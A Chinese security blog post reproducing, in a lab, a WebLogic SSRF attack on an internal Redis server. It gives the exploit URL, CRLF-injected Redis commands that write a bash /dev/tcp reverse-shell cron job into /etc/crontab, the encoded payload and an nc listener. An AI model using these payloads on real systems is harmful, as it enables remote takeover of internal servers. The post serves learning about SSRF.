利用WebLogic SSRF漏洞攻击内网Redis反弹shell

0x01 复现环境

公网上存在WebLogic服务,存在SSRF漏洞
内网中部署了一台Redis服务器,IP地址为172.21.0.2,端口6379
反弹shell需要自己的公网IP
总计两个公网IP,一个内网IP

0x02 WebLogic SSRF漏洞

WebLogic的SSRF漏洞算是一个比较知名的SSRF漏洞,具体原理可以自行谷歌。本篇主要是通过复现该漏洞来加深对SSRF漏洞的理解。

首先访问WebLogic的漏洞页面
地址为

1
http://xxx.xxx.xxx.xxx:xxxx[这个是WebLogic服务的IP]/uddiexplorer/SearchPublicRegistries.jsp?operator=http://xxx.xxx.xxx.xxxx[这个是想要探测的内网IP]&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search

那么SSRF利用中,大部分第一步肯定是进行内网的端口探测了,当然肯定有IP和端口的探测了,这里内网IP已经给出了,就直接扫端口了,简单的写了一个扫描脚本而已

扫端口得到内网Redis端口为6379,当然这是做实验所以服务是知道的,在实际过程中肯定需要进一步判断的,不过一般都是默认端口吧。。。

这次访问一下6379端口,看看页面如何

看到了下面的一个报错,其实从这个报错就可以判断这个内网Redis服务是存在的,为什么呢?
看一下2016乌云大会上猪猪侠师傅介绍的《WebLogic SSRF 服务探测》

我们得到的页面的报错语句刚好符合请求开放的服务的回显,OK,第一步完成

0x03 攻击内网Redis反弹shell

在Weblogic的SSRF中,有一个比较大的特点,就是虽然是一个“GET”请求,但是我们可以通过传入%0a%0d来注入换行符,而某些服务(如redis)是通过换行符来分隔每条命令,也就说我们可以通过该SSRF攻击内网中的redis服务器。

第一步探测Redis我们已经完成了,那么第二部就是发送redis命令,将弹shell脚本写入/etc/crontab中,crontab就是linux下的一个定时执行事件的一个程序,不懂的小伙伴可以自行谷歌

命令如下:

1
set 1 "\n\n\n\n* * * * root bash -i >& /dev/tcp/xx.xx.xx.xx[这里是你自己的公网IP]/8888[这里是你监听的端口] 0>&1\n\n\n\n" config set dir /etc/config set dbfilename crontab save

因为我们是通过GET来发送命令的,因此要将上面的命令进行URL编码,同时我们还要制定一个要写入的文件,这里我就叫做test了,最终的URL如下:

1
?operator=http://172.21.0.2:6379/test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2Fxxx.xxx.xxx.xxx%2F8888%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa

在自己的公网IP上监听8888端口

1
nc -l 8888

然后发送请求即可反弹shell了

如果burp的右边出现了你输入的命令的回响,那么证明你发送的命令已经被服务器接受了

反弹shell成功!

本文标题:利用WebLogic SSRF漏洞攻击内网Redis反弹shell

文章作者:Pino-HD

发布时间:2018年06月19日 - 19:06

最后更新:2018年06月19日 - 19:06

原始链接:https://pino-hd.github.io/2018/06/19/利用WebLogic-SSRF漏洞攻击内网Redis反弹shell/

许可协议: 署名-非商业性使用-禁止演绎 4.0 国际 转载请保留原文链接及作者。

坚持原创技术分享,您的支持将鼓励我继续创作!